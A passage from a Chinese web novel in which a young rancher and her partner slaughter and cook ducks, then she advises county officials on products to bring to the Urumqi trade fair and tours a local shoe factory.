毛数量太少了她也没打算收集用来干嘛，到时候一起堆肥拉倒。 等回头鸭子数量多了，到时候再看看卖鸭毛或者自己怎么处置一下。 师月江动作很迅速，一刀一条小命，很快这一片就堆满了死鸭子。 热水烫在毛上的味道是真不好闻，姚新泉皱着眉开始揪毛。烫过的鸭子摸上去滑腻腻的，大片的羽毛一撸就掉，露出底下白里透红的皮。但那些小绒毛最难对付，得用指甲一点点抠。 她拿出两个镊子递给师月江一把，“用这个吧，咱们自己吃的得拔的更干净才行。” 她不太乐意吃外面的鸭子就是总觉得上面很多鸭毛没拔干净，特别是翅膀上。 见师月江在拽翅膀上的很粗的羽管，姚新泉道，“你用镊子转着拔会好拔一些，我之前啃鸭翅膀的时候就吃到过羽管，瞬间胃口全没。” 师月江没说话只是低着头仔细地拔毛。 第168章 姚新泉又去烧了一锅开水,专门用来烫鸭脚的，开水一浇上去，表皮的那层黄色硬膜便被软化了。 她把能扯下来的都撕扯下来了,扯不下来的就拿刀刮刮干净。 师月江拿着刀从鸭屁股那边往上划,沿着胸骨的轮廓,避开嗉囊,一直剖到锁骨下方。 他一使劲儿,将鸭皮肉向两侧翻开,露出里面热气腾腾的内脏，随后用力一扯将内脏都扯了出来扔到一个干净的盆里。 姚新泉舀了一瓢水帮他冲，师月江则是把肺以及一些血块儿冲洗出来。 四十只鸭子就算不提鸭肉，光鸭内脏都装了两大盆。 师月江又拿了个菜板过来把鸭子的头、脖子、爪子都切下来,“翅膀单独吃还是留着一起？” 姚新泉想了想,“切一半吧,咱们卤着吃一半，剩下的跟鸭子一起吃。” 师月江答了声好，把鸭子收拾得差不多了端到屋里阴凉的地方放着开始收拾内脏。 心、肝、鸭胗这些自然是不用说的,肠子两人也不浪费,两人也不嫌麻烦把肠子冲洗了两遍又翻了过来继续冲洗，拿面粉搓洗了半天后,又用散酒泡着去腥。 折腾了大半天姚新泉只觉得自己都臭了,一收拾完实在是忍不住了赶紧去洗澡。 搓洗了半天出来后就看到师月江在切鸭胗,“我晚上炒个泡椒鸭杂,剩下的怎么吃？都卤吗？” 姚新泉点头，“全给卤了，咱们自己吃，也可以给我小姨姑姑他们送一些,另外还有你哥那里，反正能托运，干脆也给他送一些过去，也不差这一回了。” 师星野到底是怎么让飞机每次给他送东西的她也不知道，不过不重要，既然能送那也不能忘了他。 “鸭子呢？我晚上炖个啤酒鸭，剩下的你看怎么处理？” “之前只想着酱鸭，干脆一半酱鸭一半熏制吧！反正都不是啥秘方，就以前见过妈做过，摸索着来吧！” 师月江在烧鸭子，姚新泉则是削了干净的木棍将鸭身摊平，然后放在冷水中浸泡去除血水。 她又在院子里把之前用过的炉子还有大铁锅都翻了出来，大锅架在火上，将鸭杂都放进去焯水后洗掉浮沫重新上锅。 姚新泉找了块儿干净纱布将小茴香、丁香、白蔻、沙姜、陈皮、干辣椒、八角、桂皮、草果之类的包起来扔在了锅里，将鸭杂下进去，倒入清水没过鸭杂，又倒了些酱油之类的调料，盖上盖子等着锅里慢慢咕嘟去吧。 姚新泉这边弄完后，又去找师月江，师月 江那边鸭子已经炖上了，用的就是煤气灶，两人倒也没说一定要用柴火灶烧了才好吃什么的。 啤酒倒进锅里咕嘟咕嘟地冒着泡，香味儿直往人鼻子里钻。 “你闻闻，香不香？”师月江笑眯眯地招呼她。 姚新泉深吸了一口气，点头，“真香，我这鸭子养的可真好！我都饿了。” 师月江也这样觉得，他的手艺就是普通手艺，还是材料好，“你去歇会儿吧，我这边马上就好。” 姚新泉没跟他客气，转身回了屋。 等到师月江把鸭子炖好，姚新泉的头发也差不多晾干了，她随意盘了个丸子头顶在脑袋上。 两人把桌子支在院子里，又凉拌了个黄瓜，就着刚出锅的啤酒鸭吃起了饭。 鸭子炖得很烂，轻轻一撕肉就下来了，但是却不会因此没了嚼劲，咬一口满嘴留香，两人吃得都很满足。 狗子们在一旁着急得不行，师月江赶紧把给他们做好的饭端出来这才能安生吃饭。 “这鸭子真的太香了”，师月江吃的一头是汗根本停不下来。草原散养的绿头鸭，肉质紧实弹嫩，带着天然的野性鲜香。常年奔跑啄食野草籽、沙葱和昆虫，让鸭子的肌理分明，脂肪薄而均匀，入口既有禽类的醇厚，又透着草木的清新。鸭皮泛着油光，咬下去汁水丰盈。这种自由生长的鸭肉，远比圈养的口感更好，他很肯定的下了结论，“没人会不喜欢这鸭子的。” 姚新泉被夸得心里高兴，“今年养的不多，能吃的就更少了，明年咱们多养一点”，养鸭子的投入真不算高，小鸭子回来后就喂了几天的饲料，平时没特殊情况也不用补饲料。 她也不用放鸭子，有狗狗军团们轮班，做好防疫消毒这些就行了。 而到了冬天除了母鸭子之外，公鸭子该杀的也都杀的差不多了，成本真不算高，不说扩大多少，但是多养上一两百问题不算大，就算不卖自己吃也是好的。 饭后，师月江主动去刷了碗，姚新泉则是去处理那些鸭子了。 把粗盐与花椒放在铁锅里干炒，等盐粒渐渐泛黄，花椒的辛香弥漫开来时趁热一把一把地抹在鸭肉上，尤其胸、腿等厚实处，还需用签子扎孔，让盐分渗入。 然后将腌制的鸭子放入一口干净无水无油的大缸里压上青石，腌制一晚上明天再继续处理。 那边师月江收拾好了厨房后端了一盆酸奶过来，给姚新泉还有小家伙们都倒了些，吹着晚风直到睡意席卷而来，两人才各自回去睡觉。 第二天一早姚新泉爬起来没去看鸭子，倒是先去看了看自己之前晾晒的奶疙瘩，捏了捏感觉全干了后她满意地点了点头找了个干净的袋子收拾起来后拿了一个递给师月江，“尝尝？” 她洗漱回来后就见师月江眉眼抽动，姚新泉笑得不行，“这么酸吗？” 师月江无奈，酸奶还好，但怎么成了酸奶疙瘩就酸成这样了？ 她想了想又拿了个酸奶疙瘩跑到病号们的屋子里塞给了小雪豹一个，小雪豹一脸懵逼地看着她，但它抽动着鼻子觉得味道熟悉，没忍住低下头来啃了一口。 坚硬的酸奶疙瘩在小雪豹的牙齿下跟豆腐一样一碰就碎，姚新泉见它那享受的眼神她没忍住朝着外面大喊，“师月江，你过来看！” 等人来了后她指着小雪豹，“看这个宝宝吃得多欢！” 还以为怎么了呢，师月江叹了口气，“吃饭！” 小雪豹被突然的大喊吓了一跳，但很快就又恢复了那副悠闲的模样，继续啃着手里的酸奶疙瘩。它似乎对这种酸酸的又很香醇的味道很是喜欢，吃得津津有味。 姚新泉和师月江看着小雪豹的模样，都不由得笑了起来。师月江边笑边摇头，“这小家伙，还真是个小吃货。” 姚新泉附和道，“是啊，看来咱们以后得多给它准备点好吃的才行。” 说完，两人相视一笑，转身进了厨房开始准备早饭。今天的早饭很简单，就是昨天剩下的啤酒鸭和一些杂粮粥。虽然简单，但两人却吃得津津有味，“等鸭子下蛋了咱们可以腌咸鸭蛋，早晨不做饭，就随便切个咸鸭蛋，吃粥或者糊糊都行”。 饭后，两人又开始忙碌起来。姚新泉继续去处理那些腌制好的鸭子，而师月江则是开始准备搭建熏制鸭子的棚子。他找来了一些木头开始动手搭建起来。虽然搭建的过程有些麻烦，但想到即将出炉的美味熏鸭，师月江就觉得一切都值得了。 大锅烧水，放入姜片和黄酒，将鸭子汆烫三分钟，把浮沫撇净。捞出，冷水冲凉，这样鸭皮才会绷紧，甚至泛着淡淡的金黄。 又另起一锅，放入葱段、姜块爆香，八角、桂皮、香叶、干辣椒煸炒出味。再放入清水和酱油、冰糖、黄酒，等水开后放入鸭子，再压上重物，确保鸭子被完全浸没。 开小火慢卤，让汤汁咕嘟着，鸭肉会渐渐吸饱酱香。一小时后关火，再焖两小时，让味道彻底渗入肌理。 随后将鸭子捞出，把卤汁滤净，再大火收至浓稠，勺背划过能留下痕迹。再鸭身上刷一层刚留下的酱汁，晾凉后切块就算是做好了。 鸭子皮色酱红，肉丝分明，入口咸鲜回甘，就连骨髓里好像都透着香料的气息，姚新泉一时都不知道该是先去吃这酱鸭还是卤鸭杂了。 “我要被香晕过去了”，姚新泉叹气，“卤鸭杂这些先放到冰箱里再泡一泡吧？” 她又捏了一块儿酱鸭肉塞在嘴里，真的好香啊！ 唯一的缺点就是做起来太麻烦了！ 也就是家里小羊不需要自己盯着生产，一两个小时过去看一次就成，不然她哪里有时间做这些？ 熏鸭的话还得再腌制两天再拿出来，不着急，今天能把酱鸭都做好就不错了。 两人忙了大半天才把酱鸭都做好，姚新泉感觉自己都要被腌入味儿了。 “之前不是买了真空包装的机器吗？装三只酱鸭再装一些鸭杂鸭翅这些，打包好明天一早送到机场去”。 也就是离得太远了不方便，不然让他过来吃现成的多好。 “你过会儿下山给我姑他们每家送两只吧，卤货就不送了。” 这就九只下去了，也不是她手指缝太松非要给人送，但问题是人家对她好，她总不能当白眼狼吧？ 师星野就不说了，帮了多少忙？ 她小姑那边动不动就给她送米面这些，她小姨那边因为小姨夫朋友多，这家给他送桃子，那家给他送葡萄的，凡是收到了他基本都会分上一般过来。 小叔那边走动的不算频繁，但只说他辗转给自己联系上农牧业相关的教授，这份儿情就不能不记。 好的亲戚那是肯定要走动起来的。 第169章 师星野收到奶粉和检测报告后找人问了一下,得到结果后心里满意，这奶粉在国内至少已经算是高端水平了。 他给自己相熟的人家一家送了两袋，想了想他还是没采取其他的营销手段,只是在超市里面上架了,同时将奶粉的检测报告打印放大之后挂在奶粉那一片儿做宣传。 厂子才开,产能也有限,总得等产能提高了之后再说,不然到时候人家想要结果没货就没必要了。 半下午的突然又接到了师月江的电话,听到电话里说要给自己托运酱鸭过来，师星野简直是哭笑不得，但心里却也非常高兴，他挺喜欢被人记挂的滋味,或者说没人会不喜欢。 给弟弟和弟妹再买点什么呢？ 另一边姚新泉接到了电话让她去县委开会,是关于乌洽会的,她赶忙收拾东西下山。 师月江没跟着去，家里事情还多，牧场的事情他在未必能做主,但是姚新泉在是肯定能做主,他就不跟着了。 等到了县委她直接去了会议室，就见石副县长在上面坐着,她便跑出去打了个招呼,“石副县长,现在这块儿也归你管了？” 石副县长瞪 眼睛,“我不能管咋的？” 这种县里的大事本来由黄县长出面最好，但他的身体应该是承受不住这种出差的，书记那边也不想插手这种未必能捞到好处的事情，石副县长想了想干脆自己请缨带队吧！ 从改革开放开始他便想得很清楚,时代不同了，发展经济必须得重视起来！ “这是一个不错的机会，哪怕只是长长见识也是好的！”第一年开，上面也很重视，他们肯定是希望搭上这趟顺风车的。 姚新泉点了点头老实掏出本子坐在了下面，她环顾着打量了一圈，没见着认识的人。 不过来的人真不算多，有一两个看穿着打扮应该是县里硕果仅存的皮鞋厂的人，至于为什么不是屠宰场，主要是现在他们这的条件也根本不可能搞什么长途冷链运输鲜肉，所以这次乌洽会他们没参加。 其他的有牧民有农民，据说都是之前联系好的各个乡镇的优秀从业者。 他们县在这一块儿是真的非常贫瘠了，之前的奶制品厂还有些轻工业品可以凑数，但现在那是真不成，还没复工呢！ “小姚，你们那厂子的奶粉做出来了吗？”石副县长问。 姚新泉想了想干脆就坐到了第一排去，她点了点头，“做出来了，数据也不错，检测报告什么的我们都有，营养成分各方面的不说和国际上顶尖的比，但是在国内应该算是高端线了。” 没等石副县长高兴她又道，“只是产量不行。” 他们做过测试，姚新泉家牧场出产的牛奶去做奶粉，经过各道工艺以及相应的配方调整后，得到的数据会非常好看。 但是用相同的办法处理别家的牛奶，虽然品质也不错，但也就是普通牛奶，没什么特别的。 只靠姚新泉牧场上的牛肯定不够，所以得想办法看看能不能调整下配方让别人家的牛奶也能制作出高品质的奶粉，毕竟这边牛奶品质本身就很高。 不过这就需要技术那边去想办法了，姚新泉是没有任何办法。 石副县长被浇了一盆冷水，但他想了想还是道，“你到时候带上再说。” 姚新泉点了点头，但也没当一回事儿，毕竟产量不足的情况下，就算合同签了，到时候没办法按时供货，他们可是要承担违约责任的！ 人慢慢进来，姚新泉朝谢局长打了声招呼，谢局笑着冲她点头。 等人到的差不多了，石副县长示意大家安静，“我是石岳文，是咱们县的副县长，也是这次乌洽会咱们县的这只小分队的队长，谢局长是副队长，到时候在外有什么事情大家都可以跟我还有谢局沟通。” 姚新泉跟着众人一起鼓掌，就见石副县长示意大家安静，“开始说正事吧，这次咱们县的主要产品还是农牧产品及相关副产品，比方说棉花、甜菜、葵花籽、葡萄干还有羊毛、毛毡之类的。” “另外还有带有民族特色的冬不拉、马头琴、刺绣等等。” “皮鞋、皮袜子还有帽子之类的，中亚那边对这个需求也不小，都可以带过去看看”，当然了他真的没啥信心，新省这边到底是汉族居多，但像是哈萨克斯坦那边可全都是这几个民族，他们自己就不能做？就非得进口？ 就算是进口吧，那其他市、县就没有这个特色了？他们没啥竞争力。 “还有你家的奶粉”，石副县长又看着姚新泉补充了一句，姚新泉苦笑，产量真的不够啊！ “咱们这边没什么特色产品，你们也可以想想还有什么能带过去的？” 众人面面相觑，倒不是他们愚笨，主要是真没有啊！ 姚新泉想了想后出声，“蜂蜜呢？咱们这边的黑蜂蜜质量其实也挺不错的，去做个检测报告，再看看国际上有没有关于蜂蜜的一些标准，数据这个东西一目了然嘛！” “我觉得大家也不要把合作方想的太高不可攀了，苏联解体之后，中亚五国独立，经济结构单一，轻工业品、食品严重依赖进口。”姚新泉不愿意见到大家垂头丧气的，这还没出征呢，一个个就臊眉搭眼的，能成才怪了呢！ “像是哈萨克斯坦，人家的支柱产业是石油、天然气、煤炭、有色金属之类的，这些咱们一个小县城也挨不着，进口的事情轮不着咱们操心，主要就看他们缺什么。像他们的短板就是轻工业比方说服装、日用品，还有食品加工、机械设备。那咱们可以针对性地给他们提供日用消费品，比方说塑料制品、家电、服装、食品比方说糖、水果、加工食品或者机械设备。没有的咱们不去管，那糖咱们可不缺，有甜菜还怕没糖？新鲜水果不方便运输，那不是还有果干吗？” 石副县长和谢局两人眼睛都亮了起来，在记录的同时忍不住问，“小姚同志，这些消息你都是怎么知道的？” 姚新泉心里也很是无奈，其实这边消息闭塞也很正常，不说新省是边疆，这里更是边疆的边陲小县城，有些消息哪有那么快能传播过来？ 再说了，苏联解体之前，中亚五国的经济完全受莫斯科那边控制，对外贸易由苏联中央政府统一调配，地方几乎没有自主权。因此，外界很难直接了解它们的真实需求。 “我对象他大哥很重视外贸这一块儿，不管是欧洲、美洲还是中亚这边他都有去了解情况，所以我也跟着了解了一些。” 之前师星野其实没想着往这边跑，主要还是太远了。但现在既然师月江都留在这里了，他就这么一个弟弟，之后既然总要过来，那不在这边开拓一下市场都不合理。 那边封闭的情况没那么严了后，师星野便想办法去打探了各种消息，也会跟他们分享，所以姚新泉就知道了。 所以说起来姚新泉其实真的挺感激他们的，让自己有了睁眼看世界的机会。 两人对视一眼点了点头没再继续问，倒是其他消息没那么灵光的人却忍不住咂舌，她这是攀上了哪棵高枝啊！ “小姚你继续说”，谢局催促。 姚新泉点了点头，“乌兹别克斯坦的话，人家的棉花产业全球排第六，不缺棉花，咱们就没必要让人买棉花了，但因为大量种植棉花，导致他们粮食产量不足，得向外购买，这个咱们可以考虑一下。他们也很缺轻工业品，包括服装、鞋类、家电。” “像服装的话，别的不提，咱们的艾德莱斯不就是好东西？而且那边的审美、文化也很能接受，如果咱们这边有的话也可以提供过去的。” 她随后又将其他中亚几国分析了一下，不说别的至少让大家的了解更深了。 有可以用的也有用不上的，比方说他们基本都很缺塑料、家电，他们也没有啊…… “总有人能想到的，乌洽会也没限制在咱们自治区的企业才能蔡家，内地的一样可以”，石副县长道，他倒是在琢磨别的，比方说到时候看能不能借着语言便利交好一些内地企业，要是能招商引资那可就美了啊！ “ 至于俄罗斯的话，他们的短板是轻工业和食品加工，而且他们那边冷，服装鞋类之类能保暖的咱们也能看看有没有搞头。” “不要怕尝试，咱们针对性地去试，能成最好，不能成也没什么损失”，就像她自己，杜泊羊和湖羊的崽还没下来呢，她都打算跟人好好唠唠她的三元杂交羊，万一找到意向客户了呢？ 姚新泉最后总结了一句，“反正有枣没枣打一杆子，咱们总是都要去一趟的，就算什么都不做一样要去，那倒不如多多尝试，万一可以呢？” 说实话，他们也没啥下降的空间了，干不成就干不成，大不了继续回来放牧种地，吃不好但也饿不死啊！ 再怎么也不会比从前更难了。 第170章 原本应该是由石副县长和谢局讲话,结果全变成了姚新泉一个人说话，倒弄得她有点不好意思。 “我要说的差不多就这些，很多东西咱们县未必有,或者说国营厂未必有,我有个想法,看看能不能让民营的也进来呢？或者是一些相关的合作社？” 倒不是说乌洽会对民营企业有偏见或者说是他们县对民营企业有偏见,主要是如果是民营企业申请去乌洽会的展台,那是有门槛的,不是说你一个十人以下的小公司或者小厂子就能如何如何。 至于他们县的话，毕竟是以县为单位参加，之前大家都压根没考虑过让私营企业加入，姚新泉的话她是特殊情况,而且她从回来之后跟县里好几个部门关系都打的不错,所以也没谁说她不合适。 “简单一些的大多数人都会做的毛毡,还有技术水平要求高的毡绣，我记得咱们县就有一个地方的哈族妇女手特别巧，做的毡绣特别漂亮,我家有一张很大的挂毯是我爸妈以前找她们换的,很是精美，这种咱们完全可以拿出来啊！” 这种带着民族特色的东西有人欣赏不来,但也有人就是很吃这一套,就算中亚那边不喜欢,来的还有外地商人,万一人家就喜欢了呢？ “还有冬不拉，我记得咱们县好像没有专门的厂子吧？你既然提了那说明潜意识里你也是想加进去参展的，有好多老手艺人纯手工打造的冬不拉、马头琴之类的都特别精美，哪怕不弹,挂在那儿我都觉得好看！” 众人笑了起来，但确实是这样，那些老手艺人是真的超会做！往那儿一挂感觉屋子气质都不一样了！ “还有，咱们县虽然没有锡伯自治乡，但是咱们也有锡伯族人聚居的地方，锡伯族的酱菜也做的很好啊！更别提咱们本地这些民族的库尔特（酸奶疙瘩）、苏孜别（奶酪），还有之前不是成立了一家公司专门收购马肠子之类的，这些能保存一段时间的食物其实都可以拿过去。” “我是认为，咱们未必一定要做成什么交易，但哪怕让他们记住咱们县，记住咱们这儿是可以提供这些东西的，那咱们就没白跑一趟！” 石副县长放下纸笔给她鼓掌，他满脸都是欣赏。改革开放已经好多年了，大家都在搞经济，确实有不少地方已经搞上去了。 但他们这儿本来就落后，又偏僻，还有很多的特殊性，外地的一些成功经验在他们这儿未必真能安稳落地，所以哪怕这都九十年代初了，其实他们这些人还是在摸索，摸索一条能适合本地走的路。 但真的太难了啊！ 他自问不算是大老粗，但工作中也常有抓瞎的时候，而当自己都发愁的时候他反而更不能表现出不安，因为他是别人的主心骨，但有时候真觉得当一个听人家领导只要跟着走就成的人也挺好的…… 唉！ “小姚你真的讲的特别好”，他感慨道，“这样，你看下午你有时间吗，一些样品已经准备过来了，你有时间的话你帮我们掌掌眼？你牧场那边有事的话我找人过去帮你处理？” 姚新泉哭笑不得，“不用不用，我对象在家里会管的，这边有什么需要的或者有什么我能帮得上忙的跟我说就成。” 石副县长和谢局两人对视一眼，眼中都是喜色。 这次乌洽会对于他们县来说是一个难得的机会，虽然他们的产品不算多，也未必是最有特色的，但只要能让人记住他们县，记住他们能提供的东西，那就算是成功了，姚新泉希望去这么一趟能给他们县的发展带来巨大的影响。 展会就那么大，全自治区那么多县，也不可能每个县都有展台，想挤进去真的不容易，不能浪费了这个大好机会。 因此她很乐意帮忙，同时这也是她的一次学习机会，她不是学经济的，很多东西也是从书上草草看了两眼或者是听师月江和师星野讲的，但她的牧场想要做大做强，她不可能只专注养殖的。 姚新泉找机会去给师月江打了个电话说了情况后中午就在县委吃的饭，下午几位领导就拉着她去了厂子。 最先去的全是他们县发展最好的一家单位，皮鞋厂。 这家鞋厂是依附于本地的畜牧业而发展的，鞋厂的厂长姚强也在，他笑着招呼众人进来，“我和小姚同志还是本家呢，小姚同志要是有什么想法你尽管提，我是个粗人，我们老一辈都是希望产品能质量好，耐穿，至于好不好看什么的不在我们考虑的范围内，所以我也听好多人说了这鞋子都不好看，不洋气，但你让我改，我又一时间不知道咋改了。” 他的眼神很真诚，也不会觉得自己一把年纪了请教一个小姑娘有什么不对的。 见他这样姚新泉自然不会拒绝，她笑道，“姚厂长你放心，我如果真有想法肯定不会藏着掖着的。” 推开锈迹斑斑的铁门，扑面而来的是一股混合着皮革、胶水和机油的气味，在这个温度下着实不算好闻。马车拉着原材料从一旁过去，地面只做了简单硬化也没铺水泥，扬起一片尘土。 “这边请”，姚厂长带着众人绕过一堆堆用麻绳捆扎的牛皮，走向主厂房。厂房外墙的红砖已经褪色，上面还返上来许多白色凝结物，墙面上用白灰刷着的“安全生产”的标语也只剩下模糊的痕迹。 车间的大门敞开着，里面传出有节奏的机器轰鸣声。在姚新泉踏入车间的瞬间，只能感受到一股温热潮湿的空气裹挟着更浓烈的皮革味扑面而来，她忍不住蹙了下眉。三十多名工人分散在三条流水线上，没有人抬头张望，都专注于手中的活计。车间顶棚上悬挂着几盏昏黄的灯，电线裸露在外，看着着实有些简朴了。 姚新泉看向最近的一条流水线，女工们正操作着老式缝纫机，她探头看了看，还是蝴蝶牌的。漆面斑驳，有些连商标都快磨没了，更别说缝纫机上的皮带了，总觉得分分钟断给她看。 女工们的手指在皮革和机器间灵活穿梭，将鞋面部件缝合在一起。她们大多戴着袖套和围裙，头发也都是用旧纱巾包裹着，以防卷入机器。 姚新泉一时看不清她们脸上到底是麻木还是什么别的。 但说老实话，皮鞋厂虽然业绩不太行，但是好像没拖欠过工人工资，在大家都在地里刨食的情况下，能有一份不用风吹日晒的工作还是会让大多数人羡慕的。 车间的中央是一条简陋的传送带，半成品的鞋子在上面缓缓移动。几个中年女工围坐在传送带旁，手里拿着小锤子和剪刀，熟练地修剪鞋帮上的线头，或是敲打鞋底使其更加贴合。 往里走是成型区，几台老旧的压底机摆在水泥地上，机器表面的油漆也早已剥落，露出锈迹斑斑的铁皮看着很是寒酸。工人把鞋面和鞋底放入机器，踩下踏板，机器便发出“轰”的一声闷响，将两者压合在一起。 操作机器的是一位四十多岁的男工，厂房里实在是不透气，他额头上大颗大颗的汗珠一眼就能看清。 压好的鞋子被放到一旁的架子上，等待下一道工序。架子上已经堆了不少成品，大多是黑色或棕色的男式皮鞋，鞋头方正，鞋底厚实，看起来耐穿又实用。 姚新泉虽然不太懂男士鞋子的审美，但这里的鞋子显然不在她的审美范围内，她如果给师月江买鞋子肯定是不会买这种的，就算给长辈买都不会买。 她没关注过男士鞋子，但是见过有钱人的皮鞋长啥样啊！ 师星野上回来就是穿的皮鞋，一双深棕色的皮鞋，应该算是休闲款吧，鞋型没有那么板正，但只是大概看一眼，无论是光泽度还是鞋子的流畅程度之类的都告诉她，那双鞋绝对不便宜。 他的鞋跟这里流水线上出来的鞋放到一起，谁都能看出哪双贵哪双便宜。 车间的另一侧是女鞋生产线，这里的鞋子相对来说就精致许多，有些鞋面 上还带着细小的花纹或是金属装饰。几个年轻的女工正用细针缝制鞋面上的装饰线，她们的手指灵活，针脚细密，偶尔还会拿起鞋子对着灯光检查，确保每一针都完美无缺。 一旁的架子上摆着几双已经完工的女鞋，有尖头的，有圆头的，鞋跟高低不一，有些鞋面上还绣着简单的花卉图案。 可让姚新泉来说的话，她觉得其实有点土。 土里土气的鞋型加上土里土气的小花，她不会买，人家进口就会买吗？ 她都要叹气了，光质量好不够啊！ 姚厂长的目光一直跟随着姚新泉，见她是不是蹙眉，还总是叹气，心都提起来了。 他也知道有问题，他也想过从沿海那边引进一些模具或者生产线之类的，但是还是那个问题，他们这儿太远了！ 而且他们就算引进，那也是引进的人家淘汰的，人家外国人真的会要吗？ 170-180 第171章 姚新泉摇了摇头没急着说话,她的目光看向了角落里的一张小工作台，台面上摆着几双带有民族特色的鞋子。 这些鞋子颜色鲜艳，鞋面上绣着复杂的花纹,有些还缀着小铃铛或是彩色的珠子。一位头发花白的老匠人正坐在台前,用一把小锥子在皮革上钻孔,然后穿入彩色的丝线,绣出传统的几何图案。他的动作很慢,但每一针都精准无误,仿佛在完成一件艺术品。旁边的篮子里放着几双已经做好的民族鞋，鞋尖微微上翘，鞋帮上绣着红黄相间的花纹，鞋底则用厚实的牛皮制成,既美观又实用。不过显然着并不是厂里的拳头产品,负责的工人也没几个。 姚新泉忍不住凑过去看老人家工作,对方也只是抬头瞥了她一眼没说话，姚新泉不以为意，她的目光落在架子上的一顶帽子上,目光这便顿住了。 “可以给我看一下那顶帽子吗？”姚新泉用哈语说的,几人像是没想到她会一样都看向了她，那名工人抬头又看了她一眼,到底还是把帽子随手递给她。 这是一顶哈萨克族手工皮帽,一看便知道制作的人一定是很用心去做了。 帽身选用的是上等的黑色羊羔皮,鞣制得非常柔软,触感如丝绸一般，那绒毛更是让人不自觉地轻抚，手感可真好啊！ 帽子内衬是深红色的细绒，摸上去也是柔软亲肤的面料,边缘是用金线进行锁边的，针脚细密得几乎不见痕迹，也不会被粗糙的金线磨到皮肤。 帽檐宽而挺括，向外翻卷的部分被缝制了一圈雪白的狐狸毛，狐狸毛的光泽度非常好，跟珍珠一样泛着柔光。 帽顶高耸，形似草原上的毡房，通体包裹着墨绿色的锦缎，缎面上是用金丝和彩线绣满的繁复的藤蔓花纹，线劈得很细，针脚更是非常细密。 灯光下那金线似乎就跟繁星一样会发光，近观又觉得纹理分明，整体做工华贵又庄重。 当然了，最最夺目的莫过于帽顶中央那支修长的金雕翎羽，羽杆笔直，羽片在灯光下流转着金铜色的光，显得神秘又特别。帽侧垂下两条细长的貂尾绦带，末端缀着几粒打磨圆润的玛瑙，行走时轻轻摇曳，发出细微的清脆声响。 姚新泉深吸一口气，这要是她的帽子，她得是个多开朗活泼的小女孩啊！ “这是您做的吗？”她不自觉地客气了几分，对方又看了她一眼摇了摇头，“我家老婆子做的。” “她也在鞋厂上班吗？” 对方又是摇头，“她身体不好，在这里干不了”。 姚新泉了然，不管是这里的温度还是皮革的味道，身体不好的人应该都是受不了的。 她做下来跟对方聊了起来，主要就是问这顶帽子能不能量产，做成一顶大概需要多久等问题，等了解得差不多之后她把帽子递给对方。 不曾想老人没接，只是问，“你想要吗，要的话我卖给你？” “150块，你要的话就拿走”。 姚新泉想了想掏钱给对方把这顶帽子买下了，她是真的很喜欢。 这个价格不算便宜了，但一来是有钱难买人高兴，另一方面做工和材料在这里，人家真的也就赚了个手工费。 姚厂长一直在一旁看着，这下实在没忍住问道，“小姚，你这是？” 姚新泉摇了摇头，“等出去后咱们可以聊聊这个事情。” 姚厂长只能按下焦躁带着她继续参观鞋厂。 车间的尽头是质检区，几张木桌上摆满了成品鞋。质检员是个严肃的中年女人，她戴着套袖，没有因为来人而抬一下头。她手里拿着一把小刷子，仔细地刷去鞋面上的灰尘，然后检查每一处缝合是否牢固，鞋底是否平整。 不合格的鞋子被扔到一旁的纸箱里，等待返工。合格的则被套上塑料袋，贴上标签，装入纸盒中。纸盒上啥也没有，就一双简笔画的皮鞋。 车间的隔壁就是仓库了，里面堆满了装箱的鞋子。空气中弥漫着皮革和纸板的气味，几个工人正在清点库存，把一箱箱鞋子搬上手推车，准备运往县城的商店或是更远的地方。仓库的角落里还堆着些滞销的鞋子，鞋盒上落了一层厚厚的灰尘，显然已经放了很久。 众人离开车间时已经将近5点了，谁也没说走，倒是一同都去了姚厂长办公室。 办公室不大，一张办公桌、两把椅子和几个铁皮文件柜就占满了大部分空间。 他有些尴尬地喊了秘书搬几把椅子过来，随后很是急切地看向姚新泉，“小姚同志，你就别卖关子了啊！” 姚新泉无奈一笑，“姚厂长，我是觉得咱们得确定客户的特性再来提改进。” “哦？你说说看。”姚厂长的眼睛一亮，身体也前倾了一些，显然对姚新泉的话很感兴趣。 “像是中亚和俄罗斯的消费者，他们相对会更注重实用性，那咱们就得想办法加厚鞋底才能更好地防冻裂或者是给一些金属配件提高工艺去做到防锈，或者一些别的能够提升口碑的点，我不是太懂鞋子，这个得你们自己想了。” “但是注重实用性不代表咱们不需要改良审美，像是俄罗斯那边，他们其实也会受欧洲影响，偏好黑色或者棕色光面皮鞋还有皮靴，是那种相对比较板正的皮靴，太时尚的就算了，咱们连自己人喜欢什么都还没搞明白，到哪里去搞明白老毛子的时尚？” 众人都笑了起来，可不是嘛，国内年轻人喜欢什么他们都琢磨不出来，更别说国外了。 “至于中亚那边的话你得考虑他们很多人还是会骑马游牧，不管是皮鞋还是皮靴都得适应他们的野外生活。他们很多文化跟咱们哈族、维族还是有相似之处的，所以一些少数民族的花纹配饰也可以搞一下，咱们许多少数民族的同志对这一块儿最是了解了，可以多尝试尝试。” “帽子的话，俄罗斯那边冬天能把人耳朵冻掉呢，所以还是做那种皮毛一体的帽子，保暖性最重要，中亚这边的话可能还要考虑防风沙的问题。我提帽子主要是想着都是皮具，如果能做那是最好，不能的话也无妨。” “无论是中亚还是俄罗斯，他们不大可能向咱们这边购买太高品质的工业品，所以咱们做的时候也得控制好预算。” “至于设计审美方面，我觉得你们可以去大学看看，就算请不来人，上面发个函去借调个美术或者相关专业的老师过来，咱们把人供着，总比咱们自己在这琢磨要好得多！” 姚厂长不知道她说的有没有用，他现在也没时间琢磨，他打算先记下来，回去后晚上好好想想，要是靠谱的话就得赶紧做起来了。 石副县长本来还在等她的下文，但见她后续没再发表意见了，忍不住指着她抱在手中的帽子，“这个呢？小姚，这个你是怎么打算的？” “这个啊”，姚新泉笑了笑，“我确实是喜欢，来得及的话倒也能让人带一波过 去，能卖掉或者有人订购最好，就算没有，咱们展台上摆上这么牛的艺术品，我相信谁都会想着过来看一看的。” 不说别的，想做这样一顶帽子，材料都没那么好找！ 无论是狐狸还是金雕，难道这是能随便猎杀的吗？ 那狐狸皮她能感觉到有年头了，所以她才买的，如果是这两年猎杀的，她就算再喜欢也不会买。 没有这些顶级材料倒也能用别的，但是档次就不一样了啊！ 她这顶就是最牛的！ “不过我确实不知道这东西到底有没有人买，我觉得这就是艺术品，配得上最高的价格，但你们也知道，这不当吃不当喝的”，姚新泉苦笑，中亚那边难道日子就很好过吗？他们未必穷，但也未必愿意花这个冤枉钱吧？ 不过人家也有有钱人，所以都说不好。 至于内地那边的商人，内地那边有钱人多，所以她不怕没人买得起。但是这东西是带有民族特色的，不是所有人都能欣赏得来，能欣赏得来的人未必会买。 